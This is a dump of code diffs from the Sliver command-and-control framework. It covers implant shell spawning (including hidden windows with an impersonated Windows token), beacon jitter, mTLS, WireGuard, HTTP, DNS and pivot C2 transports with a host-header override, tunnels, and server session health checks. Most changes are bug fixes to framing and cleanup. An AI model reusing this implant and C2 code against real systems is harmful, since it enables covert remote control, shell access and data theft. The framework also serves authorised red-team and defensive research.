func CreateTCPPivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
func CreateTCPPivotListener(address string, upstream chan<- *pb.Envelope, opts ...bool) (*PivotListener, error) {
// {{if .Config.Debug}}
log.Printf("Starting TCP pivot listener on %s", address)
// {{end}}
+1 -1
View File
@@ -104,7 +104,7 @@ func getInfo(t syscall.Token, class uint32, initSize int) (unsafe.Pointer, error
// getTokenOwner retrieves access token t owner account information.
func getTokenOwner(t syscall.Token) (*syscall.Tokenuser, error) {
i, e := getInfo(t, syscall.TokenOwner, 50)
i, e := getInfo(t, syscall.TokenUser, 50)
if e != nil {
return nil, e
}
+31 -10
View File
@@ -26,6 +26,7 @@ import (
"log"
// {{end}}
"context"
"os/exec"
"github.com/bishopfox/sliver/implant/sliver/shell/pty"
@@ -44,63 +45,83 @@ func Start(command string) error {
}
// StartInteractive - Start a shell
func StartInteractive(tunnelID uint64, command []string, enablePty bool) *Shell {
func StartInteractive(tunnelID uint64, command []string, enablePty bool) (*Shell, error) {
if enablePty {
return ptyShell(tunnelID, command)
}
return pipedShell(tunnelID, command)
}
func pipedShell(tunnelID uint64, command []string) *Shell {
func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
// {{if .Config.Debug}}
log.Printf("[shell] %s", command)
// {{end}}
cmd := exec.Command(command[0], command[1:]...)
ctx, cancel := context.WithCancel(context.Background())
cmd := exec.CommandContext(ctx, command[0], command[1:]...)
stdin, err := cmd.StdinPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stdin pipe failed\n")
// {{end}}
return nil
cancel()
return nil, err
}
stdout, err := cmd.StdoutPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stdout pipe failed\n")
// {{end}}
return nil
cancel()
return nil, err
}
stderr, err := cmd.StderrPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stderr pipe failed\n")
// {{end}}
cancel()
return nil, err
}
err = cmd.Start()
return &Shell{
ID: tunnelID,
Command: cmd,
Stdout: stdout,
Stdin: stdin,
}
Stderr: stderr,
Cancel: cancel,
}, err
}
func ptyShell(tunnelID uint64, command []string) *Shell {
func ptyShell(tunnelID uint64, command []string) (*Shell, error) {
// {{if .Config.Debug}}
log.Printf("[ptmx] %s", command)
// {{end}}
cmd := exec.Command(command[0], command[1:]...)
ctx, cancel := context.WithCancel(context.Background())
cmd := exec.CommandContext(ctx, command[0], command[1:]...)
term, err := pty.Start(cmd)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[term] %v, falling back to piped shell...", err)
// {{end}}
cancel()
return pipedShell(tunnelID, command)
}
cmd.Start()
return &Shell{
ID: tunnelID,
Command: cmd,
Stdout: term,
Stdin: term,
}
Cancel: cancel,
}, err
}
// GetSystemShellPath - Find bash or sh
+18 -4
View File
@@ -19,6 +19,7 @@ package shell
*/
import (
"context"
"io"
"os"
"os/exec"
@@ -30,12 +31,25 @@ type Shell struct {
Command *exec.Cmd
Stdout io.ReadCloser
Stdin io.WriteCloser
Stderr io.ReadCloser
Cancel context.CancelFunc
}
// StartAndWait starts a system shell then waits for it to complete
func (s *Shell) StartAndWait() {
s.Command.Start()
s.Command.Wait()
// Start - starts a command
func (s *Shell) Start() error {
return s.Command.Start()
}
// Wait - waits till the command finish
func (s *Shell) Wait() error {
return s.Command.Wait()
}
// Stop - stopping the command (syskill) using context cancel
func (s *Shell) Stop() {
if s.Cancel != nil {
s.Cancel()
}
}
func exists(path string) bool {
+22 -6
View File
@@ -26,6 +26,7 @@ import (
"log"
// {{end}}
"context"
"os/exec"
)
@@ -42,29 +43,42 @@ func Start(command string) error {
}
// StartInteractive - Start a shell
func StartInteractive(tunnelID uint64, command []string, _ bool) *Shell {
func StartInteractive(tunnelID uint64, command []string, _ bool) (*Shell, error) {
return pipedShell(tunnelID, command)
}
func pipedShell(tunnelID uint64, command []string) *Shell {
func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
// {{if .Config.Debug}}
log.Printf("[shell] %s", command)
// {{end}}
cmd := exec.Command(command[0], command[1:]...)
ctx, cancel := context.WithCancel(context.Background())
cmd := exec.CommandContext(ctx, command[0], command[1:]...)
stdin, err := cmd.StdinPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stdin pipe failed\n")
// {{end}}
return nil
cancel()
return nil, err
}
stdout, err := cmd.StdoutPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stdout pipe failed\n")
// {{end}}
return nil
cancel()
return nil, err
}
stderr, err := cmd.StderrPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stderr pipe failed\n")
// {{end}}
cancel()
return nil, err
}
return &Shell{
@@ -72,7 +86,9 @@ func pipedShell(tunnelID uint64, command []string) *Shell {
Command: cmd,
Stdout: stdout,
Stdin: stdin,
}
Stderr: stderr,
Cancel: cancel,
}, nil
}
// GetSystemShellPath - Find bash or sh
+36 -7
View File
@@ -23,6 +23,7 @@ import (
"log"
// {{end}}
"context"
"github.com/bishopfox/sliver/implant/sliver/priv"
"golang.org/x/sys/windows"
"os/exec"
@@ -61,28 +62,56 @@ func Start(command string) error {
}
// StartInteractive - Start a shell
func StartInteractive(tunnelID uint64, command []string, _ bool) *Shell {
func StartInteractive(tunnelID uint64, command []string, _ bool) (*Shell, error) {
return pipedShell(tunnelID, command)
}
func pipedShell(tunnelID uint64, command []string) *Shell {
func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
// {{if .Config.Debug}}
log.Printf("[shell] %s", command)
// {{end}}
var cmd *exec.Cmd
cmd = exec.Command(command[0], command[1:]...)
ctx, cancel := context.WithCancel(context.Background())
cmd := exec.CommandContext(ctx, command[0], command[1:]...)
cmd.SysProcAttr = &windows.SysProcAttr{
Token: syscall.Token(priv.CurrentToken),
HideWindow: true,
}
stdin, _ := cmd.StdinPipe()
stdout, _ := cmd.StdoutPipe()
stdin, err := cmd.StdinPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stdin pipe failed\n")
// {{end}}
cancel()
return nil, err
}
stdout, err := cmd.StdoutPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stdout pipe failed\n")
// {{end}}
cancel()
return nil, err
}
stderr, err := cmd.StderrPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stderr pipe failed\n")
// {{end}}
cancel()
return nil, err
}
err = cmd.Start()
return &Shell{
ID: tunnelID,
Command: cmd,
Stdout: stdout,
Stdin: stdin,
}
Stderr: stderr,
Cancel: cancel,
}, err
}
+8 -8
View File
@@ -298,7 +298,7 @@ func beaconMainLoop(beacon *transports.Beacon) error {
Interval: beacon.Interval(),
Jitter: beacon.Jitter(),
Register: register,
NextCheckin: nextCheckin.UTC().Unix(),
NextCheckin: int64(beacon.Duration().Seconds()),
}))
beacon.Close()
time.Sleep(time.Second)
@@ -360,7 +360,7 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
// {{end}}
err = beacon.Send(wrapEnvelope(sliverpb.MsgBeaconTasks, &sliverpb.BeaconTasks{
ID: InstanceID,
NextCheckin: nextCheckin.UTC().Unix(),
NextCheckin: int64(beacon.Duration().Seconds()),
}))
if err != nil {
// {{if .Config.Debug}}
@@ -519,6 +519,12 @@ func openSessionHandler(data []byte) {
// {{end}} -IsBeacon
func sessionMainLoop(connection *transports.Connection) error {
if connection == nil {
// {{if .Config.Debug}}
log.Printf("[session] nil connection!")
// {{end}}
return nil
}
err := connection.Start()
if err != nil {
// {{if .Config.Debug}}
@@ -526,12 +532,6 @@ func sessionMainLoop(connection *transports.Connection) error {
// {{end}}
return err
}
if connection == nil {
// {{if .Config.Debug}}
log.Printf("[session] nil connection!")
// {{end}}
return nil
}
pivots.RestartAllListeners(connection.Send)
defer pivots.StopAllListeners()
defer connection.Stop()
+1 -1
View File
@@ -103,7 +103,7 @@ func (b *Beacon) Duration() time.Duration {
// {{end}}
jitterDuration := time.Duration(0)
if 0 < b.Jitter() {
jitterDuration = time.Duration(int64(insecureRand.Intn(int(b.Jitter()))))
jitterDuration = time.Duration(insecureRand.Int63n(b.Jitter()))
}
duration := time.Duration(b.Interval()) + jitterDuration
// {{if .Config.Debug}}
+91
View File
@@ -0,0 +1,91 @@
package transports
import (
"net/url"
"sync"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
)
type Connection struct {
Send chan *pb.Envelope
Recv chan *pb.Envelope
IsOpen bool
ctrl chan struct{}
cleanup func()
once *sync.Once
tunnels *map[uint64]*Tunnel
mutex *sync.RWMutex
uri *url.URL
proxyURL *url.URL
Start Start
Stop Stop
}
// URL - Get the c2 URL of the connection
func (c *Connection) URL() string {
if c.uri == nil {
return ""
}
return c.uri.String()
}
// ProxyURL - Get the c2 URL of the connection
func (c *Connection) ProxyURL() string {
if c.proxyURL == nil {
return ""
}
return c.proxyURL.String()
}
// Cleanup - Execute cleanup once
func (c *Connection) Cleanup() {
c.once.Do(func() {
c.cleanup()
c.IsOpen = false
c.removeAndCloseAllTunnels()
})
}
// Tunnel - Add tunnel to mapping
func (c *Connection) Tunnel(ID uint64) *Tunnel {
c.mutex.RLock()
defer c.mutex.RUnlock()
return (*c.tunnels)[ID]
}
// AddTunnel - Add tunnel to mapping
func (c *Connection) AddTunnel(tun *Tunnel) {
c.mutex.Lock()
defer c.mutex.Unlock()
(*c.tunnels)[tun.ID] = tun
}
// RemoveTunnel - Add tunnel to mapping
func (c *Connection) RemoveTunnel(ID uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
delete(*c.tunnels, ID)
}
func (c *Connection) removeAndCloseAllTunnels() {
c.mutex.Lock()
defer c.mutex.Unlock()
for id, tunnel := range *c.tunnels {
tunnel.Close()
delete(*c.tunnels, id)
}
}
func (c *Connection) RequestResend(data []byte) {
c.Send <- &pb.Envelope{
Type: pb.MsgTunnelData,
Data: data,
}
}
@@ -24,6 +24,7 @@ import (
"net/http"
"net/url"
"sync"
"time"
// {{if .Config.Debug}}
"log"
@@ -37,12 +38,14 @@ func GoHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, er
var transport *http.Transport
if !secure {
transport = &http.Transport{
IdleConnTimeout: time.Millisecond,
Dial: proxy.Direct.Dial,
TLSHandshakeTimeout: opts.TlsTimeout,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
}
} else {
transport = &http.Transport{
IdleConnTimeout: time.Millisecond,
Dial: (&net.Dialer{
Timeout: opts.NetTimeout,
}).Dial,
@@ -70,6 +70,7 @@ type HTTPOptions struct {
ForceHTTP bool
DisableAcceptHeader bool
DisableUpgradeHeader bool
HostHeader string
ProxyConfig string
ProxyUsername string
@@ -109,6 +110,7 @@ func ParseHTTPOptions(c2URI *url.URL) *HTTPOptions {
ForceHTTP: c2URI.Query().Get("force-http") == "true",
DisableAcceptHeader: c2URI.Query().Get("disable-accept-header") == "true",
DisableUpgradeHeader: c2URI.Query().Get("disable-upgrade-header") == "true",
HostHeader: c2URI.Query().Get("host-header"),
ProxyConfig: c2URI.Query().Get("proxy"),
ProxyUsername: c2URI.Query().Get("proxy-username"),
@@ -221,6 +223,9 @@ func (s *SliverHTTPClient) OTPQueryArgument(uri *url.URL, value string) *url.URL
func (s *SliverHTTPClient) newHTTPRequest(method string, uri *url.URL, body io.Reader) *http.Request {
req, _ := http.NewRequest(method, uri.String(), body)
if s.Options.HostHeader != "" {
req.Host = s.Options.HostHeader
}
req.Header.Set("User-Agent", userAgent)
if method == http.MethodGet && !s.Options.DisableAcceptHeader {
req.Header.Set("Accept-Language", "en-US,en;q=0.9")
+20 -21
View File
@@ -25,7 +25,9 @@ import (
"crypto/tls"
"crypto/x509"
"encoding/binary"
"errors"
"fmt"
"io"
"time"
// {{if .Config.Debug}}
@@ -43,8 +45,6 @@ var (
// PingInterval - Amount of time between in-band "pings"
PingInterval = 2 * time.Minute
readBufSize = 16 * 1024 // 16kb
// caCertPEM - PEM encoded CA certificate
caCertPEM = `{{.Config.MtlsCACert}}`
@@ -91,8 +91,8 @@ func ReadEnvelope(connection *tls.Conn) (*pb.Envelope, error) {
if len(dataLengthBuf) == 0 || connection == nil {
panic("[[GenerateCanary]]")
}
_, err := connection.Read(dataLengthBuf)
if err != nil {
n, err := io.ReadFull(connection, dataLengthBuf)
if err != nil || n != 4 {
// {{if .Config.Debug}}
log.Printf("Socket error (read msg-length): %v\n", err)
// {{end}}
@@ -100,23 +100,22 @@ func ReadEnvelope(connection *tls.Conn) (*pb.Envelope, error) {
}
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
// Read the length of the data
readBuf := make([]byte, readBufSize)
dataBuf := make([]byte, 0)
totalRead := 0
for {
n, err := connection.Read(readBuf)
dataBuf = append(dataBuf, readBuf[:n]...)
totalRead += n
if totalRead == dataLength {
break
}
if err != nil {
// {{if .Config.Debug}}
log.Printf("Read error: %s\n", err)
// {{end}}
break
}
if dataLength <= 0 {
// {{if .Config.Debug}}
log.Printf("[pivot] read error: %s\n", err)
// {{end}}
return nil, errors.New("[mtls] zero data length")
}
dataBuf := make([]byte, dataLength)
n, err = io.ReadFull(connection, dataBuf)
if err != nil || n != dataLength {
// {{if .Config.Debug}}
log.Printf("Read error: %s\n", err)
// {{end}}
return nil, err
}
// Unmarshal the protobuf envelope
@@ -23,6 +23,7 @@ import (
"encoding/base64"
"encoding/binary"
"errors"
"io"
"net"
"sync"
"time"
@@ -236,7 +237,9 @@ func (p *NetConnPivotClient) read() ([]byte, error) {
p.readMutex.Lock()
defer p.readMutex.Unlock()
dataLengthBuf := make([]byte, 4)
n, err := p.conn.Read(dataLengthBuf)
n, err := io.ReadFull(p.conn, dataLengthBuf)
if err != nil || n != 4 {
// {{if .Config.Debug}}
log.Printf("[pivot] Error (read msg-length): %v\n", err)
@@ -245,22 +248,22 @@ func (p *NetConnPivotClient) read() ([]byte, error) {
}
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
readBuf := make([]byte, bufSize)
dataBuf := []byte{}
totalRead := 0
for {
n, err := p.conn.Read(readBuf)
dataBuf = append(dataBuf, readBuf[:n]...)
totalRead += n
if totalRead == dataLength {
break
}
if err != nil {
// {{if .Config.Debug}}
log.Printf("read error: %s\n", err)
// {{end}}
break
}
if dataLength <= 0 {
// {{if .Config.Debug}}
log.Printf("[pivot] read error: %s\n", err)
// {{end}}
return nil, errors.New("[pivot] zero data length")
}
dataBuf := make([]byte, dataLength)
n, err = io.ReadFull(p.conn, dataBuf)
if err != nil || n != dataLength {
// {{if .Config.Debug}}
log.Printf("read error: %s\n", err)
// {{end}}
return nil, err
}
return dataBuf, err
}
+27 -92
View File
@@ -19,7 +19,6 @@ package transports
*/
import (
// {{if or .Config.WGc2Enabled .Config.HTTPc2Enabled}}
"net"
@@ -62,12 +61,15 @@ import (
// {{end}}
// {{if not .Config.NamePipec2Enabled}}
"io"
"net/url"
"sync"
"time"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
// {{end}}
"time"
)
var (
@@ -77,88 +79,6 @@ var (
type Start func() error
type Stop func() error
// Connection - Abstract connection to the server
type Connection struct {
Send chan *pb.Envelope
Recv chan *pb.Envelope
IsOpen bool
ctrl chan struct{}
cleanup func()
once *sync.Once
tunnels *map[uint64]*Tunnel
mutex *sync.RWMutex
uri *url.URL
proxyURL *url.URL
Start Start
Stop Stop
}
// URL - Get the c2 URL of the connection
func (c *Connection) URL() string {
if c.uri == nil {
return ""
}
return c.uri.String()
}
// ProxyURL - Get the c2 URL of the connection
func (c *Connection) ProxyURL() string {
if c.proxyURL == nil {
return ""
}
return c.proxyURL.String()
}
// Cleanup - Execute cleanup once
func (c *Connection) Cleanup() {
c.once.Do(func() {
c.cleanup()
c.IsOpen = false
})
}
// Tunnel - Duplex byte read/write
type Tunnel struct {
ID uint64
Reader io.ReadCloser
ReadSequence uint64
Writer io.WriteCloser
WriteSequence uint64
}
// Tunnel - Add tunnel to mapping
func (c *Connection) Tunnel(ID uint64) *Tunnel {
c.mutex.RLock()
defer c.mutex.RUnlock()
return (*c.tunnels)[ID]
}
// AddTunnel - Add tunnel to mapping
func (c *Connection) AddTunnel(tun *Tunnel) {
c.mutex.Lock()
defer c.mutex.Unlock()
(*c.tunnels)[tun.ID] = tun
}
// RemoveTunnel - Add tunnel to mapping
func (c *Connection) RemoveTunnel(ID uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
delete(*c.tunnels, ID)
}
func (c *Connection) RequestResend(data []byte) {
c.Send <- &pb.Envelope{
Type: pb.MsgTunnelData,
Data: data,
}
}
// StartConnectionLoop - Starts the main connection loop
func StartConnectionLoop(c2s []string, abort <-chan struct{}) <-chan *Connection {
@@ -295,7 +215,6 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
// {{if .Config.Debug}}
log.Printf("[mtls] lost connection, cleanup...")
// {{end}}
close(send)
conn.Close()
close(recv)
},
@@ -352,7 +271,10 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
for {
envelope, err := mtls.ReadEnvelope(conn)
if err == io.EOF {
break
// {{if .Config.Debug}}
log.Printf("[mtls] eof")
// {{end}}
return
}
if err != io.EOF && err != nil {
break
@@ -393,7 +315,6 @@ func wgConnect(uri *url.URL) (*Connection, error) {
// {{if .Config.Debug}}
log.Printf("[wg] lost connection, cleanup...")
// {{end}}
close(send)
conn.Close()
dev.Down()
close(recv)
@@ -462,7 +383,10 @@ func wgConnect(uri *url.URL) (*Connection, error) {
for {
envelope, err := wireguard.ReadEnvelope(conn)
if err == io.EOF {
break
// {{if .Config.Debug}}
log.Printf("[wireguard] eof")
// {{end}}
return
}
if err != io.EOF && err != nil {
break
@@ -499,7 +423,6 @@ func httpConnect(uri *url.URL) (*Connection, error) {
// {{if .Config.Debug}}
log.Printf("[http] lost connection, cleanup...")
// {{end}}
close(send)
ctrl <- struct{}{}
close(recv)
},
@@ -547,6 +470,12 @@ func httpConnect(uri *url.URL) (*Connection, error) {
return
default:
envelope, err := client.ReadEnvelope()
if err == io.EOF {
// {{if .Config.Debug}}
log.Printf("[http] eof")
// {{end}}
return
}
switch errType := err.(type) {
case nil:
errCount = 0
@@ -614,7 +543,6 @@ func dnsConnect(uri *url.URL) (*Connection, error) {
// {{if .Config.Debug}}
log.Printf("[dns] lost connection, cleanup...")
// {{end}}
close(send)
ctrl <- struct{}{} // Stop polling
close(recv)
},
@@ -678,6 +606,11 @@ func dnsConnect(uri *url.URL) (*Connection, error) {
log.Printf("[dns] session is closed")
// {{end}}
return
case io.EOF:
// {{if .Config.Debug}}
log.Printf("[dns] eof")
// {{end}}
return
default:
errCount++
// {{if .Config.Debug}}
@@ -720,7 +653,6 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
log.Printf("[tcp pivot] lost connection, cleanup...")
// {{end}}
pingCtrl <- struct{}{}
close(send)
ctrl <- struct{}{}
close(recv)
},
@@ -794,7 +726,10 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
for {
envelope, err := pivot.ReadEnvelope()
if err == io.EOF {
break
// {{if .Config.Debug}}
log.Printf("[tcp pivot] eof")
// {{end}}
return
}
if err != nil {
// {{if .Config.Debug}}
+65
View File
@@ -0,0 +1,65 @@
package transports
import (
"io"
"sync"
)
// Tunnel - Duplex byte read/write
type Tunnel struct {
ID uint64
// Reader io.ReadCloser
Readers []io.ReadCloser
readSequence uint64
Writer io.WriteCloser
writeSequence uint64
mutex *sync.RWMutex
}
func NewTunnel(id uint64, writer io.WriteCloser, readers ...io.ReadCloser) *Tunnel {
return &Tunnel{
ID: id,
Readers: readers,
Writer: writer,
mutex: &sync.RWMutex{},
}
}
func (c *Tunnel) ReadSequence() uint64 {
c.mutex.RLock()
defer c.mutex.RUnlock()
return c.readSequence
}
func (c *Tunnel) WriteSequence() uint64 {
c.mutex.RLock()
defer c.mutex.RUnlock()
return c.writeSequence
}
func (c *Tunnel) IncReadSequence() {
c.mutex.Lock()
defer c.mutex.Unlock()
c.readSequence += 1
}
func (c *Tunnel) IncWriteSequence() {
c.mutex.Lock()
defer c.mutex.Unlock()
c.writeSequence += 1
}
// Close - close tunnel reader and writer
func (c *Tunnel) Close() {
for _, rc := range c.Readers {
rc.Close()
}
c.Writer.Close()
}
@@ -26,6 +26,7 @@ import (
"bufio"
"bytes"
"encoding/binary"
"errors"
"fmt"
"io"
"net"
@@ -48,7 +49,6 @@ import (
)
var (
readBufSize = 16 * 1024 // 16kb
serverTunIP = "100.64.0.1" // Don't let user configure this for now
tunnelNet *netstack.Net
tunAddress string
@@ -111,8 +111,8 @@ func ReadEnvelope(connection net.Conn) (*pb.Envelope, error) {
if len(dataLengthBuf) == 0 || connection == nil {
panic("[[GenerateCanary]]")
}
_, err := connection.Read(dataLengthBuf)
if err != nil {
n, err := io.ReadFull(connection, dataLengthBuf)
if err != nil || n != 4 {
// {{if .Config.Debug}}
log.Printf("Socket error (read msg-length): %v\n", err)
// {{end}}
@@ -120,23 +120,22 @@ func ReadEnvelope(connection net.Conn) (*pb.Envelope, error) {
}
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
// Read the length of the data
readBuf := make([]byte, readBufSize)
dataBuf := make([]byte, 0)
totalRead := 0
for {
n, err := connection.Read(readBuf)
dataBuf = append(dataBuf, readBuf[:n]...)
totalRead += n
if totalRead == dataLength {
break
}
if err != nil {
// {{if .Config.Debug}}
log.Printf("Read error: %s\n", err)
// {{end}}
break
}
if dataLength <= 0 {
// {{if .Config.Debug}}
log.Printf("[pivot] read error: %s\n", err)
// {{end}}
return nil, errors.New("[wireguard] zero data length")
}
dataBuf := make([]byte, dataLength)
n, err = io.ReadFull(connection, dataBuf)
if err != nil || n != dataLength {
// {{if .Config.Debug}}
log.Printf("Read error: %s\n", err)
// {{end}}
return nil, err
}
// Unmarshal the protobuf envelope
File diff suppressed because it is too large. Load diff
+6
View File
@@ -170,6 +170,7 @@ message FileInfo {
int64 Size = 3;
int64 ModTime = 4;
string Mode = 5;
string Link = 6;
}
message CdReq {
@@ -231,6 +232,7 @@ message DownloadReq {
string Path = 1;
int64 Start = 2;
int64 Stop = 3;
bool Recurse = 4;
commonpb.Request Request = 9;
}
@@ -242,6 +244,9 @@ message Download {
int64 Start = 4;
int64 Stop = 5;
bytes Data = 6;
bool IsDir = 7;
int32 ReadFiles = 8;
int32 UnreadableFiles = 10;
commonpb.Response Response = 9;
}
@@ -760,6 +765,7 @@ enum PivotType {
message PivotStartListenerReq {
PivotType Type = 1;
string BindAddress = 2;
repeated bool Options = 3;
commonpb.Request Request = 9;
}
+1
View File
@@ -4,4 +4,5 @@ fs/*.zip
fs/darwin/amd64/
fs/darwin/arm64/
fs/linux/amd64/
fs/linux/arm64/
fs/windows/amd64/
+10
View File
@@ -0,0 +1,10 @@
//go:build server
package assets
import "embed"
var (
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/linux/arm64/*
assetsFs embed.FS
)
+16 -27
View File
@@ -23,7 +23,9 @@ import (
"crypto/tls"
"crypto/x509"
"encoding/binary"
"errors"
"fmt"
"io"
"net"
consts "github.com/bishopfox/sliver/client/constants"
@@ -38,8 +40,6 @@ import (
const (
// defaultServerCert - Default certificate name if bind is "" (all interfaces)
defaultServerCert = ""
readBufSize = 1024
)
var (
@@ -111,6 +111,7 @@ func handleSliverConnection(conn net.Conn) {
}
implantConn.RespMutex.RUnlock()
} else if handler, ok := handlers[envelope.Type]; ok {
mtlsLog.Debugf("Received new mtls message type %d, data: %s", envelope.Type, envelope.Data)
go func() {
respEnvelope := handler(implantConn, envelope.Data)
if respEnvelope != nil {
@@ -156,39 +157,27 @@ func socketWriteEnvelope(connection net.Conn, envelope *sliverpb.Envelope) error
// socketReadEnvelope - Reads a message from the TLS connection using length prefix framing
// returns messageType, message, and error
func socketReadEnvelope(connection net.Conn) (*sliverpb.Envelope, error) {
// Read the first four bytes to determine data length
dataLengthBuf := make([]byte, 4) // Size of uint32
_, err := connection.Read(dataLengthBuf)
if err != nil {
n, err := io.ReadFull(connection, dataLengthBuf)
if err != nil || n != 4 {
mtlsLog.Errorf("Socket error (read msg-length): %v", err)
return nil, err
}
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
// Read the length of the data, keep in mind each call to .Read() may not
// fill the entire buffer length that we specify, so instead we use two buffers
// readBuf is the result of each .Read() operation, which is then concatinated
// onto dataBuf which contains all of data read so far and we keep calling
// .Read() until the running total is equal to the length of the message that
// we're expecting or we get an error.
readBuf := make([]byte, readBufSize)
dataBuf := make([]byte, 0)
totalRead := 0
for {
n, err := connection.Read(readBuf)
dataBuf = append(dataBuf, readBuf[:n]...)
totalRead += n
if totalRead == dataLength {
break
}
if err != nil {
mtlsLog.Errorf("Read error: %s", err)
break
}
if dataLength <= 0 {
// {{if .Config.Debug}}
mtlsLog.Printf("[pivot] read error: %s\n", err)
// {{end}}
return nil, errors.New("[pivot] zero data length")
}
if err != nil {
dataBuf := make([]byte, dataLength)
n, err = io.ReadFull(connection, dataBuf)
if err != nil || n != dataLength {
mtlsLog.Errorf("Socket error (read data): %v", err)
return nil, err
}
+16 -23
View File
@@ -22,7 +22,9 @@ import (
"bufio"
"bytes"
"encoding/binary"
"errors"
"fmt"
"io"
"net"
"net/netip"
@@ -260,36 +262,27 @@ func socketWGReadEnvelope(connection net.Conn) (*sliverpb.Envelope, error) {
// Read the first four bytes to determine data length
dataLengthBuf := make([]byte, 4) // Size of uint32
_, err := connection.Read(dataLengthBuf)
if err != nil {
n, err := io.ReadFull(connection, dataLengthBuf)
if err != nil || n != 4 {
wgLog.Errorf("Socket error (read msg-length): %v", err)
return nil, err
}
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
// Read the length of the data, keep in mind each call to .Read() may not
// fill the entire buffer length that we specify, so instead we use two buffers
// readBuf is the result of each .Read() operation, which is then concatinated
// onto dataBuf which contains all of data read so far and we keep calling
// .Read() until the running total is equal to the length of the message that
// we're expecting or we get an error.
readBuf := make([]byte, readBufSize)
dataBuf := make([]byte, 0)
totalRead := 0
for {
n, err := connection.Read(readBuf)
dataBuf = append(dataBuf, readBuf[:n]...)
totalRead += n
if totalRead == dataLength {
break
}
if err != nil {
wgLog.Errorf("Read error: %s", err)
break
}
if dataLength <= 0 {
// {{if .Config.Debug}}
wgLog.Errorf("[wireguard] read error: %s\n", err)
// {{end}}
return nil, errors.New("[wireguard] zero data length")
}
if err != nil {
dataBuf := make([]byte, dataLength)
n, err = io.ReadFull(connection, dataBuf)
if err != nil || n != dataLength {
wgLog.Errorf("Socket error (read data): %v", err)
return nil, err
}
+1 -1
View File
@@ -35,7 +35,7 @@ import (
const (
httpC2ConfigFileName = "http-c2.json"
chromeBaseVer = 92
chromeBaseVer = 97
)
// HTTPC2Config - Parent config file struct for implant/server
+28 -15
View File
@@ -28,31 +28,44 @@ import (
// ImplantConnection - Abstract connection to an implant
type ImplantConnection struct {
ID string
Send chan *sliverpb.Envelope
RespMutex *sync.RWMutex
Resp map[int64]chan *sliverpb.Envelope
Transport string
RemoteAddress string
LastMessage time.Time
Cleanup func()
ID string
Send chan *sliverpb.Envelope
RespMutex *sync.RWMutex
LastMessageMutex *sync.RWMutex
Resp map[int64]chan *sliverpb.Envelope
Transport string
RemoteAddress string
LastMessage time.Time
Cleanup func()
}
// GetLastMessage - Retrieves the last message time
func (c *ImplantConnection) GetLastMessage() time.Time {
c.LastMessageMutex.RLock()
defer c.LastMessageMutex.RUnlock()
return c.LastMessage
}
// UpdateLastMessage - Updates the last message time
func (c *ImplantConnection) UpdateLastMessage() {
c.LastMessageMutex.Lock()
defer c.LastMessageMutex.Unlock()
c.LastMessage = time.Now()
}
// NewImplantConnection - Creates a new implant connection
func NewImplantConnection(transport string, remoteAddress string) *ImplantConnection {
return &ImplantConnection{
ID: generateImplantConnectionID(),
Send: make(chan *sliverpb.Envelope),
RespMutex: &sync.RWMutex{},
Resp: map[int64]chan *sliverpb.Envelope{},
Transport: transport,
RemoteAddress: remoteAddress,
Cleanup: func() {},
ID: generateImplantConnectionID(),
Send: make(chan *sliverpb.Envelope),
RespMutex: &sync.RWMutex{},
LastMessageMutex: &sync.RWMutex{},
Resp: map[int64]chan *sliverpb.Envelope{},
Transport: transport,
RemoteAddress: remoteAddress,
Cleanup: func() {},
}
}
+11 -4
View File
@@ -24,6 +24,7 @@ import (
"time"
"github.com/bishopfox/sliver/implant/sliver/transports/mtls"
"github.com/bishopfox/sliver/implant/sliver/transports/wireguard"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/log"
@@ -75,13 +76,13 @@ type Session struct {
// LastCheckin - Get the last time a session message was received
func (s *Session) LastCheckin() time.Time {
return s.Connection.LastMessage
return s.Connection.GetLastMessage()
}
// IsDead - See if last check-in is within expected variance
func (s *Session) IsDead() bool {
sessionsLog.Debugf("Checking health of %s", s.ID)
sessionsLog.Debugf("Last checkin was %v", s.Connection.LastMessage)
sessionsLog.Debugf("Last checkin was %v", s.LastCheckin())
padding := time.Duration(10 * time.Second) // Arbitrary margin of error
timePassed := time.Since(s.LastCheckin())
reconnect := time.Duration(s.ReconnectInterval)
@@ -91,13 +92,19 @@ func (s *Session) IsDead() bool {
return false
}
if s.Connection.Transport == consts.MtlsStr {
if time.Since(s.Connection.LastMessage) < mtls.PingInterval+padding {
if timePassed < mtls.PingInterval+padding {
sessionsLog.Debugf("Last message within ping interval with padding")
return false
}
}
if s.Connection.Transport == consts.WGStr {
if timePassed < wireguard.PingInterval+padding {
sessionsLog.Debugf("Last message with ping interval with padding")
return false
}
}
if s.Connection.Transport == "pivot" {
if time.Since(s.Connection.LastMessage) < time.Duration(time.Minute)+padding {
